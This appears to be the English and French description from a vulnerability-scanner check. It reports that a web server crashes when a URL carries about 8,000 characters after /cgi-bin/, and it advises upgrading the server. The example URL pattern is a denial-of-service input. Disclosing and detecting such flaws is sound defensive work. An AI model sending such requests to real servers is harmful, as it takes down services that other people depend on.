It was possible to crash the remote service by requesting
a URL with too many characters following the /cgi-bin/
directory. For example:

  http://www.YOURSERVER.com/cgi-bin/TOO-MANY-CHARACTERS

where 'TOO-MANY-CHARACTERS' represents a random string of 
8,000 characters.

Solution : Upgrade your web server to the latest version, or consider 
an alternate web server, such as Apache (http://www.apache.org).

Risk factor : Serious";

 Il s'est avéré possible de faire planter le service distant
en faisant la requète d'une URL composée de beaucoup de caractères
précédés de /cgi-bin.

Solution : mettez ce serveur a jour
Facteur de risque : Sérieux";
